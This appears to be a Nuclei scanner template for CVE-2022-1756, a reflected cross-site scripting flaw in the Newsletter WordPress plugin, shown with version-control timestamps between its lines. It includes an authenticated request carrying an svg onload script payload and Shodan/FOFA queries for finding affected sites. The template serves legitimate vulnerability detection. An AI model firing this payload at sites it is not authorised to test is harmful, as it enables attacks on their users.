2023-08-17 07:49:11 +00:00
id : CVE-2022-1756
info :
2023-08-19 08:18:57 +00:00
name : Newsletter < 7.4.5 - Cross-Site Scripting
2023-08-17 07:49:11 +00:00
author : Harsh
severity : medium
description : |
2023-08-17 09:12:24 +00:00
The Newsletter WordPress plugin before 7.4.5 does not sanitize and escape the $_SERVER['REQUEST_URI'] before echoing it back in admin pages. Although this uses addslashes, and most modern browsers automatically URLEncode requests, this is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below.
2023-09-27 15:51:13 +00:00
impact : |
Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
2023-09-06 11:59:08 +00:00
remediation : Fixed in version 7.4.5
2023-08-17 07:49:11 +00:00
reference :
- https://wpscan.com/vulnerability/6ad407fe-db2b-41fb-834b-dd8c4f62b072
- https://nvd.nist.gov/vuln/detail/CVE-2022-1756
2023-08-17 09:12:24 +00:00
- https://wordpress.org/plugins/newsletter/
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
2023-08-17 07:49:11 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2022-1756
cwe-id : CWE-79
2024-01-14 13:49:27 +00:00
epss-score : 0.00088
2024-04-08 11:34:33 +00:00
epss-percentile : 0.36967
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:thenewsletterplugin:newsletter:*:*:*:*:*:wordpress:*:*
2023-08-17 07:49:11 +00:00
metadata :
verified : true
2023-08-17 09:12:24 +00:00
max-request : 2
2023-08-31 11:46:18 +00:00
vendor : thenewsletterplugin
product : newsletter
2023-09-06 11:59:08 +00:00
framework : wordpress
publicwww-query : "/wp-content/plugins/newsletter/"
2024-05-31 19:23:20 +00:00
shodan-query : http.html:/wp-content/plugins/newsletter/
fofa-query : body=/wp-content/plugins/newsletter/
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,wpscan,newsletter,xss,authenticated,thenewsletterplugin,wordpress
2023-08-17 09:12:24 +00:00
2023-08-17 07:49:11 +00:00
http :
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=newsletter_main_index&debug&"><svg/onload=alert(/document.domain/)> HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'status_code == 200'
2023-08-17 09:12:24 +00:00
- 'contains(body, "newsletter") && contains(body, "><svg/onload=alert(/document.domain/)>")'
2023-08-17 07:49:11 +00:00
condition : and
2024-06-01 06:53:00 +00:00
# digest: 4b0a00483046022100989134abdfbef495345ff45925cd102fc3e7329602c007b9fde7f98d4757ea85022100f241a505db3bc4352a12e195d6dbac38731c63f974cb3c1ecc00066c8fb803fa:922c64590222798bb761d5b6d8e72950